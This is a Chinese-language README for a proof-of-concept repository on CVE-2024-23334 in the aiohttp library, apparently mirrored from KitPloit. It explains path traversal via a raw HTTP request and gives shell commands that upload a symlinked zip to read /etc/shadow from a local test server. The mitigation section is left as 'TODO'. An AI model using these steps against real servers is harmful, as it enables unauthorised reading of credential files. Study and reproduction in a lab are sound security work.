## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-BRIAN-EDGAR-RE-POC-CVE-2024-23334
# poc-cve-2024-23334
此仓库包含关于利用 aiohttp 库中报告漏洞 CVE-2024-23334 的概念验证。
创建此仓库出于两个原因:
1. **教育目的** :对于刚接触应用安全的人来说,有助于了解复现漏洞的步骤以及理解背后的概念。
2. **修复步骤** :分享缓解措施以解决该问题。
更多信息,请访问我的网站:https://brianre.dev/
## 要求
* 安装 Docker
* 安装 Python3
## 如何本地运行项目
1. 将此仓库克隆到本地。
2. 运行以下命令构建镜像:
root@kitploit:~
make build
3. 运行以下命令启动容器:
root@kitploit:~
make run
如果希望以分离模式运行 Docker,只需运行:
root@kitploit:~
make rund
## 场景
1. **修改 URL 以进行路径遍历并利用本地文件包含漏洞(LFI)** :要执行漏洞利用,请运行以下脚本:
root@kitploit:~
python3 exploits/exploit_path_traversal.py
运行脚本时,我们向服务器发起一次原始 HTTP 请求。之所以这样做而不是使用 curl 或直接在浏览器中访问,是因为这些工具在发送 HTTP 请求前会执行路径清理和规范化。其中包括路径规范化:curl 和浏览器等工具会处理 URL 路径,移除用于目录遍历的 `..` 序列。因此,像 `/static/../../../../../../../../../../../../etc/shadow` 这样的路径会被规范化为 `/etc/shadow`,而由于标准 Web 服务器上通常不存在此类路径资源,会导致 404 错误。
2. **已创建一个指向受限文件(如 /etc/shadow)的符号链接** :此场景最不可能发生,但公司内部人员可能利用这种方式泄露信息,而人们可能不会检查静态日志。如果静态文件访问未被记录,就很难识别信息何时被泄露。
本仓库中创建的场景仅用于解释该漏洞并证明其存在且仍可被利用。
3. **有人可以向服务器上传符号链接并利用漏洞** :这是一个更真实的场景。我所做的是上传一个在我电脑上生成的符号链接,然后访问该文件,从而检索到像 /etc/shadow 这样的文件。
具体方法是通过压缩文件上传符号链接。这样,当压缩包在服务器上解压时,会生成同样的符号链接。如果直接用 curl 将符号链接作为 link.jpeg 文件上传,curl 只会读取符号链接所指向的本地文件,并上传原文件而非符号链接本身。因此,若要指向服务器文件系统的特定路径,我们需要上传一个压缩文件,例如 .zip 或 .tar.gz。
要复现第二个场景,请执行以下步骤:
root@kitploit:~
touch /etc/shadow # 在本地机器上指定的目录创建文件。请确保不会替换已有文件。
ln -s /etc/shadow exploit.jpeg # 创建指向 /etc/shadow 的符号链接,并将其命名为 exploit.jpeg
zip -y images.zip exploit.jpeg # 将符号链接压缩成 zip 文件
curl -X POST -F "some-email@example.com" http://localhost:8080/upload # 上传 zip 文件
curl -o shadow.txt http://localhost:8080/static/exploit.jpeg # 访问符号链接,由于 aiohttp 存在漏洞,它会返回服务器上的 /etc/shadow
## 缓解措施
待办
## 开发
为了本地搭建开发环境,你需要:
1. 创建虚拟环境。
root@kitploit:~
python3 -m venv env
2. 安装依赖。
root@kitploit:~
pip3 install -r requirements.txt
pip3 install -r test-requirements.txt
## 资源
* https://vulners.com/cve/CVE-2024-23334
* https://nvd.nist.gov/vuln/detail/CVE-2024-23334